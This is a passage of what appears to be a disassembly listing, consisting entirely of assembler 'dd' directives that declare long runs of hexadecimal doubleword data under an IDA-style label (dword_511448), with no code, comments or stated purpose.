		dd 0D456198h, 0B58D20C2h, 0F9EF0B9h, 0C11DA73Bh, 4DC26AE6h
		dd 9C3DE3C0h, 4B396C3Eh, 33EF9A7h, 52029127h, 82EA80B9h
		dd 15FB77Fh, 2EED431Bh,	958730F3h, 0C665356Ch, 5693A809h
		dd 12EEA260h, 409BD6F4h, 0F279FBEEh, 886DA403h,	0C0D3FE5Dh
		dd 0F4D91E5Ah, 8E053D42h, 0AA61F277h, 0E94FF8CCh, 0B777DD7Ch
		dd 5EC253EDh, 7BAD119h,	765565h, 0E53097D8h, 71649A62h
		dd 0C02B0029h, 541D6CBBh, 0D2D276FBh, 3F61E52h,	148F0D88h
		dd 1F1EE0CBh, 2C478A4h,	0B9DFC346h, 4D575B26h, 0B390C14Dh
		dd 22957FBFh, 0BC5C34BAh, 8013C802h, 0E428FB8Fh, 690046BAh
		dd 29A3A4A8h, 5D0F10Bh,	0F992C93Dh, 0B2A3A634h,	6AC73017h
		dd 81C8C63Fh, 314F21E3h, 9A6EF832h, 0CB1DC83Bh,	23942D1Ch
		dd 33531740h, 436500A2h, 0ECE49AD7h, 7C4E1913h,	0DAD3208Bh
		dd 90F0804Dh, 9E9969Bh,	7FD780EAh, 184DA602h, 0B527AADAh
		dd 1127471Bh, 0F0B95B40h, 16818D82h, 51077B09h,	1C2181Bh
		dd 9A58A64Eh, 3A4CECCFh, 18B30E30h, 8BE113FFh, 8801A2F9h
		dd 4FD369BAh, 253B3050h, 0F3E5B0DDh, 0F304A909h, 8C59D04Dh
		dd 0BFADB00h, 0DAE9E6A8h, 0CA929760h, 52431B79h, 9132D8D6h
		dd 8A614E7Ch, 952C2211h, 43CB8D90h, 44C8DD00h, 0C26DE6E4h
		dd 0B09C1402h, 0FB1EE2E2h, 7ED62765h, 0DEE6D912h, 18BC96E0h
		dd 9D67C90Bh, 88580EEBh, 0F6C2250Bh, 1FDC81D4h,	0BA84758Fh
		dd 0AC8AD385h, 0DFC6815Eh, 0F5482FF5h, 0B5AA68Eh, 0BC270C2h
		dd 4DEB2D56h, 53B74008h, 5F137CD3h, 0BDE026AAh,	0D040BAADh
		dd 87C0D165h, 64A174D8h, 0CC28F300h, 0A917EEE3h, 0DA012520h
		dd 175905DBh, 4C17E618h, 0B204FDD7h, 900031EDh,	2B9AE2BBh
		dd 60500A1Ch, 552B9265h, 3B004BF0h, 343B1B7h, 71077BCh
		dd 4C84F789h, 5E69006Dh, 0D10BA7BFh, 6150D5h, 34BAF25Ch
		dd 29FE3C1Ah, 78905CFAh, 0E832AD13h, 0C1F7C248h, 52805C0Ch
		dd 472F3798h, 40BC1E01h, 54944956h, 0B84853DCh,	0FB507B7h
		dd 0EC50EF0Bh, 0B80761B6h, 1F7CB71Ch, 9CB95F64h, 17FBB03h
		dd 0A8CD5530h, 9D02225Bh, 277CF763h, 9516885Eh,	9300BDA3h
		dd 0DBD0BFF8h, 0A7006ABEh, 0DA2B70CCh, 5BCF8058h, 0B265A641h
		dd 75CD301Ah, 290DBA05h, 81C72F4Dh, 5C90AD68h, 990553A5h
		dd 0D1212DEEh, 0C1B7B595h, 7A1725E1h, 0B5348620h, 98580104h
		dd 0B334AA7h, 3BC8FDA3h, 4BD5C788h, 1E30B724h, 8644D381h
		dd 71BB1AC2h, 0A0F291Ch, 8DFA4E7Ch, 3D288821h, 14891E32h
		dd 7A80BBE8h, 9C0F70B0h, 5C0508E4h, 15E54DAFh, 252995F0h
		dd 0B6D15FEBh, 8969354Bh, 0C703EA47h, 87021B79h, 0FE8A0446h
		dd 2D8AD796h, 0F7626045h, 0C3007C37h, 0DE08314Dh, 2493664h
		dd 2038934h, 7E5ED713h,	34985044h, 960B2DB7h, 93D6037h
		dd 0D19A1C4Dh, 1843A527h, 1E7412B2h, 8C2FD971h,	2E0F39F8h
		dd 80E99747h, 70BA460Dh, 0D828C9A9h, 81569319h,	0B999BFF0h
		dd 0B33A5B73h, 0C6266C53h, 1E9791A8h, 6E4EBE50h, 29420210h
		dd 0DD20998Dh, 6D950E16h, 0F3484029h, 0F100FCCCh, 0FE55FDE3h
		dd 9109B39Bh, 5B8680E3h, 9474DD97h, 0F0DC1102h,	5DE641CDh
		dd 12E2BB09h, 1FE9B775h, 7F90C406h, 612AA43h, 0B9B5284h
		dd 1FC01C88h, 1EAE4386h, 73FB18h, 15CDBB3Ah, 61481E70h
		dd 895A7883h, 9D82FAF3h, 701E2079h, 0E1DB9544h,	0E57E07D1h
		dd 0EADB7E9Eh, 0A3DAAFC0h, 63127247h, 78E89906h, 0C56A97EEh
		dd 0AC783C00h, 0D09F935Ch, 988BFB12h, 580A19Bh,	0D02EB8ADh
		dd 68283AE3h, 70F68A0Eh, 0CCFD533Eh, 0B8175FBh,	536A40E3h
		dd 0D4EA5F0Bh, 0E2566DF5h, 8B5EB499h, 124F2C10h, 4B37F3DDh
		dd 69BD8098h, 0CE5CBD0Dh, 501253E9h, 0C720487Fh, 35E709CFh
		dd 6CFE96D4h, 0A53A924Ah, 9CA7787Ah, 0C2B840AFh, 0FEFB099Fh
		dd 5C7B80A9h, 3E8F78D8h, 0C4095145h, 0FF79E692h, 5D0979ACh
		dd 0DEA95E18h, 49001D46h, 40EC2307h, 1724AAA6h,	850F40C5h
		dd 28A793D9h, 13BC6649h, 0A4742D0Ah, 0DE13E37Fh, 0DD4146A3h
		dd 743A22E1h, 3FBD0121h, 2B7B6163h, 71F3A6C8h, 0FF8997B5h
		dd 0DC4A7Eh, 0EDEC5E1Eh, 0DDDB0591h, 0DC4E902Fh, 0B1BDC14Ah
		dd 0C2A0051Fh, 8A6EED0Ch, 0F03D436Eh, 0CC2AD2h,	4EABFEE5h
		dd 2903F3ADh, 0CEBD9D39h, 0DA5A3E8Bh, 4D8F9Ch, 0F913CC38h
		dd 360E124Bh, 25E41643h, 8966C3C7h, 9FFCCC4Fh, 0F809CBD0h
		dd 5C32FDB7h, 73F7B700h, 4EBE45A1h, 0C0E1CD6Bh,	0C973E9A1h
		dd 0C58AB809h, 0A7905550h, 0D483F92Fh, 69AF3FDh, 8D02A2D7h
		dd 19913D7Dh, 6618C898h, 0F8A96B13h, 6A4F0BA7h,	71E001BAh
		dd 0EF273A2Dh, 0B53B1F21h, 92DE6B18h, 6C6AEF4Ah, 906F4851h
		dd 0DE8B50F7h, 9D1090A4h, 9AE505E5h, 12A5C011h,	0CEFF0EEh
		dd 8C5928F6h, 23457160h, 30D0512Eh, 0A81FF5B8h,	0DD0758A0h
		dd 9B7AAE93h, 5307C509h, 0B2B7007Dh, 6984021Ah,	8D5A8E01h
		dd 0B5091E7Ah, 69DAF82Eh, 0F63D56EDh, 133F0F0Eh, 8501C2E2h
		dd 5B72C8BDh, 6189DFCh
dword_511448	dd 454BD780h, 5B38E6CAh, 0E887E94Bh, 29DB0931h,	76801033h
		dd 141F8DAh, 4DDABA97h,	0E92B6003h, 0C8009915h,	0BA29160h
		dd 97C6F8F0h, 28017EC8h, 0A79C47B7h, 0F901EA44h, 5C17EBDEh
		dd 5720912Ch, 0C2AA00E3h, 791D5429h, 2B09B3BCh,	78D3E95Fh
		dd 0DC9F9CB6h, 1FBA2F07h, 0C125FE8Bh, 0A8E1AFE6h, 3CA67E6Eh
		dd 77E470B5h, 0CE12558Dh, 43B0A7E6h, 4BD34DCBh,	0E4004B53h
		dd 47BB9398h, 131DB49Ah, 89A5CB01h, 9734646Ah, 4F807FD6h
		dd 0EDD77C8Bh, 5B93251Ah, 0F5617C8Ch, 2A131F5Fh, 27F008A6h
		dd 0CA029DD4h, 53A151BFh, 7984813Bh, 126A2E9Ah,	86CCE113h
		dd 90134F6Eh, 27B491CEh, 5F009451h, 59E83CC7h, 0EBC201CCh
		dd 98A60E3Bh, 0A1E1C0B5h, 55DF4F0Dh, 0D122BCD8h, 2F79A85Ah
		dd 54AB9219h, 0ED405008h, 55699D00h, 0F25A2502h, 0F81905C7h
		dd 0B6905CD5h, 83ADE145h, 0D33EAC2Ah, 9C2C2306h, 95012550h
		dd 0F9C57F4Bh, 9E0FBC6Ah, 96F24092h, 0DF00A3B2h, 291F3959h
		dd 970C0DBDh, 0BF05B74Eh, 44C7A602h, 6B4255C7h,	61AE5E6Ah
		dd 2BD1FFF9h, 28096171h, 0B963382Fh, 80153D9Fh,	1DE8207Ah
		dd 0FCB251F9h, 5F13FC72h, 3EC8026Ah, 1A450F3Eh,	4F43F5FBh
		dd 5CF01017h, 970665BEh, 67A41C37h, 0A1120A6h, 0D6F120AAh
		dd 0ED8F003Ch, 0F36A82C2h, 0F4A4856h, 1F385724h, 8D7C27F4h
		dd 9EA69097h, 7AC1F4E2h, 623E652Dh, 72B69743h, 0D2A015A7h
		dd 0CC5723F1h, 87113B4Dh, 6FCB3DF8h, 427426A5h,	829A8370h
		dd 9747687Ch, 0C18223D0h, 62B6381Eh, 1B229680h,	0A663D26Ah
		dd 3DC1FBEh, 32ABA2F1h,	17C1FB38h, 0F6F22B01h, 0E32F125Bh
		dd 9BF3DA0h, 0D950B8DBh, 0E0688EB4h, 0D552200h,	6109C90Ah
		dd 1850413Eh, 164777CFh, 0CA67AF16h, 7E902547h,	0CD0ADC3Ah
		dd 0B201272Fh, 2B132A10h, 2A90B59Dh, 17E256F6h,	25CFFF30h
		dd 0B6E5BA7Bh, 49C5ED25h, 0E3A918F7h, 0FBCE4AEDh, 25010C61h
		dd 80C2742Fh, 6A7AC638h, 0F26E2FF7h, 13ED5F17h,	1D7EAA5Fh
		dd 60A23D0Ch, 0D41E9A6h, 25DB8DD9h, 8BEC61B3h, 217A1A42h
		dd 60021385h, 5E61CF8Bh, 0A778AD89h, 0FF862497h, 0F7EF8140h
		dd 494537CEh, 0BDA1013Fh, 3B06BA6Bh, 0D92C9Ch, 4A52D129h
		dd 855D9970h, 0B9794000h, 4CFA0228h, 0C8EA4A0Bh, 0FE0FD91Fh
		dd 3DB02D37h, 7EF37200h, 0B8705CDBh, 0DA57480Bh, 4B32F910h
		dd 0E7808891h, 857F222Fh, 0BB80CD5Eh, 395A8FAh,	0E8C8562Bh
		dd 2AE38101h, 2F052D83h, 8F0F8D61h, 4B7D0BB8h, 4B8FBD85h
		dd 43917688h, 9D330416h, 0B620D61h, 6665E922h, 279D2FF0h
		dd 98E91D54h, 69D5BCh, 0F246955Dh, 0F1C7DA1Bh, 0BC25540Fh
		dd 12D1A031h, 97C3E662h, 17378291h, 0CAAE8E64h,	49FF00D3h
		dd 93F4A973h, 457D97h, 55079BBFh, 3ED3690h, 0FF6F8605h
		dd 4709A583h, 79B288FEh, 5E17ED32h, 0FB0B5089h,	24885081h
		dd 5F181FEDh, 0B70E850Eh, 8CC0926Fh, 0E494ECFh,	0CA84F5BCh
		dd 9379EC09h, 0D5BD2384h, 8927DE22h, 97172DB6h,	0AF564804h
		dd 792C71C3h, 19A0CC9Fh, 0C04B2BAFh, 31E041A6h,	0EC05A2B8h
		dd 0A67F8D51h, 71E0018Dh, 9BBD24D0h, 0C0C91F67h, 493F8582h
		dd 9F1786B3h, 56F2D22Bh, 0DC1EE707h, 32A81017h,	0A0005727h
		dd 0BCC7DFF1h, 623DCADBh, 3301EC0Bh, 9BAE5B04h,	26E13586h
		dd 0D9F1D6E6h, 6D1F3003h, 5BDC2A4Bh, 98B880Fh, 38E55E00h
		dd 6EEA86C4h, 0F9EC040Ah, 0BD6157FEh, 52A6D657h, 0B341EEA0h
		dd 124B914Ch, 55E926C5h, 4B7CA8D7h, 14B2228Bh, 9F534E30h
		dd 9D04F4F3h, 5F090C25h, 0BF03E3D9h, 9DC28017h,	0FC6988BBh
		dd 2DCA5B4Bh, 345B5727h, 25FF09D9h, 8C419584h, 3DD5C2B8h
		dd 0BEA8800Ch, 96847119h, 0E68E8C25h, 0E1FF2E44h, 895109D5h
		dd 0C9424479h, 0D0C8F303h, 4EE835A2h, 54B58402h, 0B08C0F19h
		dd 970371B2h, 0A81A4747h, 5ACD5578h, 0BFCC84E1h, 0C4D53DF4h
		dd 0B816A168h, 44E29288h, 4A943B8Eh, 413A110h, 17518589h
		dd 0FC5C600Bh, 638E00DCh, 39DC68C2h, 0CF0481C4h, 4D3D5311h
		dd 0C35861BCh, 0B6200DCFh, 5D36C0BAh, 53049FFCh, 41937E7Bh
		dd 0EA584CBCh, 77A802C0h, 0C51FB98Ch, 0DAC92B8Dh, 69347A65h
		dd 2D7327E6h, 0D0181D59h, 2F3E8700h, 1709120Eh,	0CD0C4B5Ah
		dd 80143812h, 54464F12h, 2B170050h, 8AC56403h, 5FEC1440h
		dd 31980BF2h, 1622F920h, 0E857505Bh, 26FCCAE0h,	5298FD80h
		dd 12BB918Bh, 0E9E6B7Dh, 65803054h, 9632BB7h, 0C951953Ah
		dd 936801CFh, 81866CAFh, 548950BAh, 54F679B2h, 182501DCh
		dd 943CF3B8h, 0CD0820B9h, 34EA1B4Ah, 0FCF5C07Ah, 661205AAh
		dd 0C8A7F83Eh, 12746A5Eh, 0BBE3332Bh, 2EDA5450h, 0A5D79CE9h
		dd 909F8C66h, 1713143Fh, 9CF06061h, 4F38D5Eh, 9E5A9CACh
		dd 174FC444h, 0B9D3B3B8h, 3EFBB8C9h, 0BD271329h, 800085C4h
		dd 0B7B16393h, 7EF057h,	3E300A3Ah, 7B8F0E82h, 0E7FC7A12h
		dd 304BE9E3h, 0DF7819Bh, 89C6A567h, 85C685EBh, 7D29B3D5h
		dd 0B8A8483Dh, 0C2F84325h, 8BE937D8h, 0A982557Eh, 33002019h
		dd 802D45BDh, 73FBF50h,	84232D2Fh, 2F8C52DEh, 30C60022h
		dd 20CB4C3Ah, 7B955F13h, 181859CFh, 0C832001Bh,	0FC687E73h
		dd 124B3144h, 7AE188h, 0EE65CF09h, 5F469801h, 0BB39F400h
		dd 0FBA2921h, 0A681605Bh, 122E4703h, 568D62BDh,	0C9BF60ADh
		dd 295A1FDDh, 26B26A01h, 0C83F6050h, 521C3D3Dh,	680247Eh
		dd 64E3224Eh, 1695F2A5h, 0F8514899h, 8F03C023h,	2E25926h
		dd 0CF36A2EAh, 5AD15E58h, 8B41A3A7h, 610C12DFh,	7D71AF90h
		dd 5BF259A5h, 0B95470AAh, 0D8C2BF04h, 84B84790h, 0BECF84B5h
		dd 0C401EC4Eh, 8DAC3319h, 333E0DE3h, 22D9900Bh,	47B5E926h
		dd 0CB5EAB8Bh, 6019C4D7h, 17D4D153h, 6F598C97h,	0DC905E5Eh
		dd 5ADB2197h, 293C20B9h, 2A027706h, 1A1012BFh, 9D656D8h
		dd 6471532Dh, 0DEFA724Eh, 6BD38080h, 210DFE4h, 0A43191E1h
		dd 0F79630B3h, 7303D02Fh, 0F69C00DAh, 0A243DA4Fh, 0FBB59501h
		dd 57533B3Eh, 82D75D7Ch, 6E5C5FE5h, 0EDACFBC4h,	970429C9h
		dd 0B570B828h, 34A0C1E6h, 1002A1E8h, 76D73FB3h,	3857112h
		dd 0F34C4295h, 82C355FAh, 76090CEAh, 0CFDBA556h, 95CEFA70h
		dd 0D2BF2FB0h, 7A5EE812h, 0DA496DE3h, 0A200BBBCh, 60F88A9Dh
		dd 956DB503h, 0D0DDE0AEh, 74612527h, 1C46D604h,	9D1AEF07h
		dd 157FB760h, 0B7BF81B8h, 91742EFEh, 0CCA9F7ADh, 0DE4C7DD4h
		dd 1A940139h, 8F633DBFh, 4F864E20h, 40AF77C4h, 0FC4420C6h
		dd 883B8928h, 0A3A83E00h, 8F22C2CDh, 355F4BEFh,	304A30CEh
		dd 0D300233Ch, 8B1A358Ch, 4C16DD59h, 0C21217A5h, 926F04h
		dd 0CD0F0765h, 2DE07EF6h, 6E5406C6h, 1DBD8630h,	0DBE4952Ch
		dd 5669E29Fh, 354DEBA8h, 66030D41h, 0B77C127Ah,	0BC59499Eh
		dd 1297FC1Dh, 0EEC25EDCh, 0F932DE09h, 0B7101228h, 48135B3Ah
		dd 27B07BEBh, 0A59AD91Eh, 0B829EBD6h, 0A3C427h,	0E74E0502h
		dd 0A31DC679h, 0C78AF024h, 9478D7A3h, 0D2F0ED3h, 0F140D6CCh
		dd 799D8953h, 1769B92h,	7416C925h, 6075784h, 6DA0A068h
		dd 0F232E381h, 8B111291h, 4ABDE3FEh, 332D96CAh,	0D6A7ECBDh
		dd 98565224h, 0A7D7656Fh, 0B512CFA0h, 3470FDC5h, 21D14018h
		dd 959C334Bh, 9AE24BB7h, 0C01AC8CDh, 203155BEh,	7FC03905h
		dd 0D980EB81h, 25800F9Ch, 5AC6E6DBh, 6B579495h,	157F4D70h
		dd 178F6AABh, 6B66B175h
		dd 1DC83D9Ah, 0E451A5C0h, 851AB55Dh, 0F97510F5h, 0AE970ED6h
		dd 5BA41584h, 0CF82BE87h, 0C65F0234h, 0C78426FCh, 6CB853E0h
		dd 11C0EEB5h, 0E6D1B49h, 0FFF420E9h, 3C6F33h, 0BF553E8Dh
		dd 0F4BEE9B3h, 0FC10E8Bh, 0FE120C8Ch, 75E0A474h, 5F569728h
		dd 0C5F3D8E5h, 0D22DD900h, 29839FFCh, 356D2B02h, 89A65AF1h
		dd 380857B6h, 307A0730h, 0EF8E904Eh, 860DE3E4h,	0CE1E6A4Fh
		dd 0D3B81229h, 0BB04D5F8h, 2AF38071h, 0CC1558AAh, 0DA8B0888h
		dd 463CD686h, 432DD099h, 98ADFEA9h, 0DF1EED8h, 2FEB7B95h
		dd 0E8007FB5h, 6AA14268h, 98B9E810h, 0F86D544Fh, 62C99D90h
		dd 229F48E8h, 0C7E22400h, 0D80CB209h, 0D1300483h, 0AFDC147Bh
		dd 0DE137AF6h, 4512AE5Bh, 0A5EDD7BBh, 0C08BB86Ah, 969A592Eh
		dd 0D15C184Ah, 95091E0Fh, 6E261525h, 476EB5FBh,	88F6DA5Ah
		dd 0D93314B2h, 0F94CD1FFh, 0BF599DCFh, 461A59C9h, 30933369h
		dd 0EF62F78h, 0C8FEB068h, 0A257F5C9h, 0C52A45EEh, 23803F4Ah
		dd 0F02F805Ah, 0E448DAA6h, 53869455h, 93252C14h, 62CC60C5h
		dd 0A66E00CEh, 0DE39E678h, 0EF00EEABh, 0C619ED44h, 16572F3Dh
		dd 0F8535218h, 21E91248h, 4D84CAB3h, 18112A9h, 0B7A40BAh
		dd 76F32842h, 6660D0h, 0C4405A63h, 82A327CEh, 1EF760C2h
		dd 69BE56E2h, 9E04A664h, 7F6E99D3h, 0A8D434BEh,	505F16D7h
		dd 35F621AEh, 95AC0525h, 0BF8A984Ah, 742503B8h,	4706C60h
		dd 0DEC05EBBh, 56E6BA71h, 8F6FB9A4h, 1CCB80E5h,	16305A40h
		dd 0BA09FF6Ah, 54C26024h, 53D8A3BDh, 49EEB58Bh,	295B5FACh
		dd 0C89E4810h, 134A12D1h, 68FE5060h, 923F0008h,	8E06BEDFh
		dd 32B870E6h, 0A5A2C15Bh, 926A910h, 5AF871E4h, 61186B3Eh
		dd 3103D5Ch, 723E864Ah,	5E1B0525h, 0C780C1A1h, 2AC831E1h
		dd 80371115h, 450C55DBh, 0B5FC00F0h, 0D6E4F4DCh, 4A024914h
		dd 7E11C605h, 2D275661h, 0F5D73A58h, 0A60159A2h, 0C003E7C8h
		dd 1421D8D9h, 4731F200h, 869A29E0h, 0AFC92750h,	9562FCF8h
		dd 755F61DDh, 6D8D85C0h, 0F48909E1h, 427B04FDh,	8AC38100h
		dd 0B00B1988h, 0B53D54ABh, 448D95F9h, 0BB332006h, 6995C325h
		dd 9C2A4A3Ch, 0B8000135h, 0E37D0312h, 0DE4B29h,	65667A45h
		dd 0F463688Fh, 7CD91D2Dh, 0C6DF4015h, 3300202Bh, 4A11FA79h
		dd 0B26A47Dh, 23953190h, 5B112B64h, 38484DE9h, 0F45E0C27h
		dd 0FCE283E1h, 5EE368F8h, 0C17DFC2Ah, 22518509h, 22A4E63Ah
		dd 0B3294E26h, 0D13276C3h, 89A52B09h, 0E1025721h, 10121EE1h
		dd 95FD8A91h, 0B4257B0h, 0BF090B98h, 506B7D15h,	0F7801610h
		dd 0D204BDF0h, 0A9A057A6h, 3FFAB17Eh, 25DFE3Ah,	14B98D5Bh
		dd 20BDD508h, 44ABC816h, 0AC26BDBAh, 56F98E69h,	0D0E2ABF6h
		dd 0D38048C0h, 0C02BBC00h, 0F7D88160h, 0CE1C504Ch, 2579209Dh
		dd 70BA6138h, 40EDEF97h, 0BD31D0BEh, 901A0D20h,	1BD31E97h
		dd 119DCF2Ch, 0EC7CAE93h, 0BD2AF539h, 4E9BC02h,	0EEF2CBB6h
		dd 3282FF90h, 0E96B5699h, 95DCF55Eh, 0C6AF7CD4h, 69AF9635h
		dd 4C2585DEh, 0CC7BEF5Bh, 0D125CB4Fh, 0E963651Dh, 0C28BE935h
		dd 4019DC89h, 0E90DEF81h, 0B74B9A27h, 0C99E04A9h, 0A36EACBDh
		dd 6E275E5Dh, 4163FB1h,	0CC1B6C96h, 0F0B8CFC5h,	61120520h
		dd 78B3E780h, 8A03A240h, 1A953CD8h, 2D06D15Eh, 0C500A0D4h
		dd 93E45FB6h, 0E1FF2647h, 0F2C6049h, 8C12A218h,	74B2C77Ah
		dd 0AD042284h, 17EAE838h, 54E2CE3h, 1535704h, 0A358EFF7h
		dd 6F56C65Fh, 7C04B253h, 0F2B5F4EBh, 0B5290BCBh, 734905C5h
		dd 0C775E63Dh, 2C981DA2h, 0F9A4E30Fh, 9396F5E0h, 0B1013900h
		dd 34269065h, 0B9A040Ch, 0FE35E808h, 12157708h,	73624460h
		dd 775FAC3Ah, 7AE7EB04h, 52AC1936h, 7F66204Ah, 0B305E6D2h
		dd 0DF96A9B5h, 2A698DBFh, 15B5545h, 2C397AAFh, 7917A011h
		dd 0D1FDF153h, 18C1AACh, 4E8E15ECh, 7A93CD5Ah, 77A35212h
		dd 9D036002h, 25DA2E09h, 0B1FC2AEFh, 20849024h,	84320050h
		dd 0DE707999h, 0CD00D7DCh, 0C45ADF4Eh, 0BCE7398h, 5556AD4h
		dd 9A82E200h, 0A1B75F5Bh, 6C3CBF85h, 1A87A63Ah,	547A2390h
		dd 0D58A4C31h, 9680C40h, 8FA32A8h, 0CB401D7Ch, 159EF037h
		dd 0C52D0A5h, 0BC2C9901h, 0B8FE784Eh, 0ED01DF76h, 8E53157h
		dd 804ADB3Fh, 91B0C1DCh, 0D80A0452h, 0FA53E0A1h, 955F31CCh
		dd 1D9191B5h, 96B0680h,	0AFEA117Eh, 0D098572Fh,	8EDF1923h
		dd 75216EB1h, 0A4302AADh, 9299E9FCh, 78299B33h,	204E430h
		dd 0E843A85Eh, 16593981h, 0F56DC2Ah, 70BA8A4Eh,	6084DB50h
		dd 5E6BBD00h, 38C84157h, 666C9551h, 0AFCDD94Ah,	0D2630947h
		dd 59C61A60h, 0DA576B12h, 0E7615A55h, 7EDA5B93h, 1FABD580h
		dd 89E2706Bh, 0BF9BB7B7h, 9156D889h, 0E0ACAEF1h, 0C924611Ch
		dd 1ED78150h, 654A3308h, 0FB57AB62h, 3A0158A8h,	0CEF3834Fh
		dd 0CD0F2348h, 3C22890Ah, 0EFD03A4Ah, 2D2538B0h, 4D25220Bh
		dd 37EE5532h, 3B40F696h, 0E2ACF6h, 0BA8D1ABFh, 7E37EC68h
		dd 8ECB2C48h, 0B25BD010h, 85900E7h, 1ED1BD76h, 0A51C0086h
		dd 0F72625A6h, 0BFEAE91Bh, 0B0A9DE90h, 2C61CC13h, 0BD122DF4h
		dd 9FB3059Bh, 0D8670D4Eh, 732D2A6Ch, 3E628D7Eh,	0AA3939B5h
		dd 0DB98B5B8h, 8F1F633Bh, 128A2CFBh, 3504CE65h,	0F8053315h
		dd 0B9F5F961h, 0F915226Fh, 0A5C1C755h, 88502E7Bh, 0E9CF25DDh
		dd 2917BA45h, 0E9F81030h, 0F662943Ch, 0CDBE6A26h, 0CDB33492h
		dd 857A7DAEh, 9E9E144Ah, 0C464D480h, 224DB80h, 9360AF60h
		dd 0A2F767h, 59E36D41h,	96DE8005h, 8E66597h, 13AC4685h
		dd 0D5D4968Ah, 9E2F3459h, 808EC16Bh, 0CF421BD3h, 0B41D40Eh
		dd 3F333DDh, 0B0181679h, 4C407827h, 0A7DF0432h,	0EB50F531h
		dd 22852C98h, 0BD7D2CC9h, 0C3A2274Ah, 0A851ADD7h, 61D22ED0h
		dd 0A48560A3h, 63253BAEh, 845A5399h, 0B852F380h, 2951C104h
		dd 0D33995B5h, 60A6503Ch, 0E85ECB27h, 0A5215427h, 0A0C28ECDh
		dd 2984F5C9h, 81600322h, 0E7FBD0F2h, 4F909D53h,	12B25B90h
		dd 67E7615Ah, 0A433F110h, 48B81DFDh, 58BCEF56h,	700D276h
		dd 3A294055h, 2ADF1380h, 0A061AE5Fh, 9E6EC486h,	1F85C76Bh
		dd 0D9F92150h, 246A1EBDh, 0B32E780h, 5AF087A0h,	0F39DC283h
		dd 9AA97815h, 0AB220601h, 61BD0BB2h, 8132D7DEh,	2D4A1DCh
		dd 6DACF721h, 0E0C68C0Fh, 1EA1B510h, 13CB8009h,	0FEA5D159h
		dd 89D7C982h, 0DE5A5459h, 34161546h, 4B01C5E7h,	89D46AA5h
		dd 0BFAF01DEh, 0FD9D8901h, 980D3219h, 0BD087118h, 10B62496h
		dd 0CC5701D4h, 32B8A180h, 914AF817h, 7CC5B727h,	3FB3891Ch
		dd 0E4AABD0Bh, 0EE64BBCh, 0C19D0B13h, 0A62A0CE1h, 0EA75B486h
		dd 0A3CD95EEh, 3B5007Ah, 1909CC8Eh, 43E035Ah, 7227A76Bh
		dd 515E1DE0h, 99A08F5Ah, 846E9561h, 0F9B59Fh, 2748DF0Ch
		dd 0D9B0ED4Dh, 89F3813Bh, 59115E84h, 527644F0h,	85C6CCFBh
		dd 4A21C120h, 80DFFC96h, 0BD71D075h, 52EA1F32h,	1B055835h
		dd 6215C634h, 0B7BC492h, 5F05E4B9h, 0DE917F38h,	46ADB302h
		dd 775B555Ah, 1BF542EAh, 0A5CBBFFBh, 310082BBh,	47632FBBh
		dd 96E4A13Bh, 41112420h, 80AA2C1Ah, 107EA68Ch, 38BC00B6h
		dd 604BCB55h, 48029C3Ah, 13F98B7Ah, 98665F4h, 15732781h
		dd 0F12482A0h, 0F500B0Eh, 332BF1BFh, 362531F1h,	17F76717h
		dd 0EA752h, 242BBAA3h, 0A29F55h, 7D08E659h, 0ABF9B3EAh
		dd 873FE304h, 0E8AC7577h
		dd 4ED1F8D2h, 9849E1ADh, 573BE1ECh, 0C80E00EAh,	295D065Fh
		dd 1359279Dh, 0EDDAE15Ch, 4C744B40h, 90E99C82h,	569981F3h
		dd 0C53EFD8Ah, 1813FFB3h, 23A76BABh, 7D60001Ah,	722AE0F2h
		dd 2005485Dh, 0F500D18h, 4C2F2386h, 0DD01F462h,	0C62E3603h
		dd 207AEC34h, 5467DA20h, 33011FFCh, 5940A54Eh, 3FE943F4h
		dd 0B9C075E2h, 0C9B2404h, 2FB52B78h, 0A4E1F1B1h, 5BF5032Ch
		dd 0C274AC4Ch, 4BB18509h, 95F9F4BDh, 0E5E26EBDh, 4F6F292h
		dd 62EB8C0h, 4BC9E2FBh,	4D7AFFh, 57B59998h, 2C6F4C1Eh
		dd 6B87FE5h, 64AC3CDBh,	5F0E8D20h, 0BEB02090h, 19153840h
		dd 22D4805Bh, 2F95B108h, 909BE65Ch, 0C99C4FBBh,	52F23A50h
		dd 0B7789C9h, 0AD29F625h, 4280FFB7h, 0FED9B9BFh, 0F76DB521h
		dd 83611764h, 2E68CD69h, 8B174634h, 0D12767E2h,	15FCA280h
		dd 14975F51h, 0A7C04F26h, 0BCD2B080h, 0D86D04B4h, 0FF4C92BAh
		dd 0D509BE0Ch, 78249B02h, 840065ADh, 265FA83Ah,	3B90E1A9h
		dd 27FAB3BFh, 0A2275033h, 725AB266h, 766915D6h,	4E0E88DEh
		dd 77B99016h, 0BE0086B8h, 0A8CB54EFh, 979802A6h, 1D753D02h
		dd 46D6097Ch, 0D7961E17h, 0CB546858h, 0E9E8123Fh, 897DE38Ch
		dd 73AA0BCAh, 0A07F783Dh, 96ED575Dh, 293482F1h,	0DCD69C5Bh
		dd 1E25847Fh, 55D3E2CBh, 0D3B50CCEh, 156C50D3h,	5B180E04h
		dd 0B5C14E31h, 9C0514B9h, 4925951Dh, 20527134h,	0F8525F5h
		dd 0E295779h, 1835C8A6h, 0CC4A1202h, 21104C51h,	17F9D5F5h
		dd 60120918h, 0ECE611C8h, 3EB71Fh, 8B1CBE66h, 3909E5BAh
		dd 56617316h, 43F35264h, 9BAE750h, 17F67467h, 49144D7Dh
		dd 0E11C407Bh, 5C5FFCCBh, 7200F416h, 0B7869B60h, 1703D812h
		dd 210FB19Dh, 3E174D6Ah, 0FE926C9Eh, 0D0C21647h, 3C497B59h
		dd 0D7812BE0h, 313F81Ah, 0CAB7B018h, 0E61E214Eh, 0EF7F470h
		dd 4CEA4404h, 0E9C171E4h, 8C6B2D79h, 0E28AA409h, 31425C97h
		dd 32C5948h, 9C29B333h,	818048BDh, 2C6A35C3h, 623F705Dh
		dd 5E05116Ch, 37C12550h, 0FD8E3053h, 0C2E2A41h,	71146018h
		dd 0D58A87C2h, 0A1C0D561h, 0A4137840h, 0B2A2E94Ah, 5F5B05Bh
		dd 0A4920C41h, 8019F0FEh, 0C7BEB37h, 0DDABFC04h, 91FB301Ah
		dd 35BA2D4Ah, 0AE8F12EFh, 0E8BFA3C9h, 0AE0D13CEh, 0A5E5B229h
		dd 5FFE1542h, 0BF890AF9h, 4AD578DAh, 8228B20Ch,	552E1AA3h
		dd 138B5E37h, 0B8C4ACh,	0E120497Ah, 0B8863241h,	0D7C0A119h
		dd 8224FE82h, 0B37B9D5Bh, 0DF181C59h, 2E35E38h,	0EC2AF2CFh
